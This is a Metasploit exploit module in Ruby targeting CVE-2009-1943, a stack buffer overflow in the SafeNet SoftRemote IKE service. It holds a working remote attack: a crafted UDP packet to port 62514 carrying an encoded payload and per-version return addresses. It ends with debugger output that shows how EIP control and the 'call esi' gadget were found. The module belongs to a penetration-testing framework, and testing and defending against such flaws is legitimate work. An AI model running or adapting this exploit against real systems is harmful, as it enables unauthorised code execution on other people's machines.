metasploit-framework/modules/exploits/windows/vpn/safenet_ike_11.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SafeNet SoftRemote IKE Service Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Safenet SoftRemote IKE IreIKE.exe
				service. When sending a specially crafted udp packet to port 62514 an
				attacker may be able to execute arbitrary code. This module has
				been tested with Juniper NetScreen-Remote 10.8.0 (Build 20) using
				windows/meterpreter/reverse_ord_tcp payloads.
			},
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2009-1943' ],
					[ 'OSVDB', '54831' ],
					[ 'BID', '35154' ],
					[ 'URL', 'http://reversemode.com/index.php?option=com_content&task=view&id=63&Itemid=1' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 213,
					'BadChars' => "\x00\x0a\x20\x0d",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
				},
			'Privileged'     => true,
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'SafeNet Irelke 10.8.0.20',   { 'Ret' => 0x004514a9 } ],
					[ 'SafeNet Irelke 10.8.0.10',   { 'Ret' => 0x00451889 } ],
					[ 'SafeNet Irelke 10.8.3.6',    { 'Ret' => 0x00451929 } ],
				],
			'DisclosureDate' => 'Jun 1 2009',
			'DefaultTarget'  => 0))

		register_options([Opt::RPORT(62514)], self)
	end

	def exploit

		connect_udp

		sploit =  [0x01000000].pack('V') # IPC packet
		sploit << [0x00000033].pack('V') # Exploit this thing using command 0x11 (0x33 - 0x28).
		sploit << payload.encoded
		sploit << [target.ret].pack('V')
		sploit << rand_text_alpha_upper(150)

		print_status("Trying target #{target.name}...")
		udp_sock.put(sploit)

		select(nil,nil,nil,5)
		handler
		disconnect_udp

	end

end
=begin
0:013> g
(f7c.fe0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=68413268 ebx=00dcfde8 ecx=00000000 edx=014af53c esi=00dcfdf1 edi=00000000
eip=41316841 esp=014af64c ebp=00000001 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
41316841 ??              ???
0:008> !pattern_offset 300
[Byakugan] Control of eax at offset 217.
[Byakugan] Control of eip at offset 213.
0:008> d esp
014af64c  68 32 41 68 33 41 68 34-41 68 35 41 68 36 41 68  h2Ah3Ah4Ah5Ah6Ah
014af65c  37 41 68 38 41 68 39 41-69 30 41 69 31 41 69 32  7Ah8Ah9Ai0Ai1Ai2
014af66c  41 69 33 41 69 34 41 69-35 41 69 36 41 69 37 41  Ai3Ai4Ai5Ai6Ai7A
014af67c  69 38 41 69 39 41 6a 30-41 6a 31 41 6a 32 41 6a  i8Ai9Aj0Aj1Aj2Aj
014af68c  33 41 6a 34 41 6a 35 41-6a 36 41 6a 37 41 6a 38  3Aj4Aj5Aj6Aj7Aj8
014af69c  41 6a 39 41 6b 30 41 6b-31 41 6b 32 41 6b 33 41  Aj9Ak0Ak1Ak2Ak3A
014af6ac  6b 34 41 6b 35 41 6b 36-41 6b 37 41 6b 38 41 6b  k4Ak5Ak6Ak7Ak8Ak
014af6bc  39 41 6c 30 41 6c 31 41-6c 32 41 6c 33 41 6c 34  9Al0Al1Al2Al3Al4
0:008> d esi
00dcfdf1  61 30 41 61 31 41 61 32-41 61 33 41 61 34 41 61  a0Aa1Aa2Aa3Aa4Aa
00dcfe01  35 41 61 36 41 61 37 41-61 38 41 61 39 41 62 30  5Aa6Aa7Aa8Aa9Ab0
00dcfe11  41 62 31 41 62 32 41 62-33 41 62 34 41 62 35 41  Ab1Ab2Ab3Ab4Ab5A
00dcfe21  62 36 41 62 37 41 62 38-41 62 39 41 63 30 41 63  b6Ab7Ab8Ab9Ac0Ac
00dcfe31  31 41 63 32 41 63 33 41-63 34 41 63 35 41 63 36  1Ac2Ac3Ac4Ac5Ac6
00dcfe41  41 63 37 41 63 38 41 63-39 41 64 30 41 64 31 41  Ac7Ac8Ac9Ad0Ad1A
00dcfe51  64 32 41 64 33 41 64 34-41 64 35 41 64 36 41 64  d2Ad3Ad4Ad5Ad6Ad
00dcfe61  37 41 64 38 41 64 39 41-65 30 41 65 31 41 65 32  7Ad8Ad9Ae0Ae1Ae2
0:008> s -b 0x00400000 0x0047c000 ff d6
.
.
004514a9  ff d6 8b e8 8d 44 24 10-c7 44 24 10 00 00 00 00  .....D$..D$.....
0:008> u 0x004514a9 L1
IreIKE+0x514a9:
004514a9 ffd6            call    esi
=end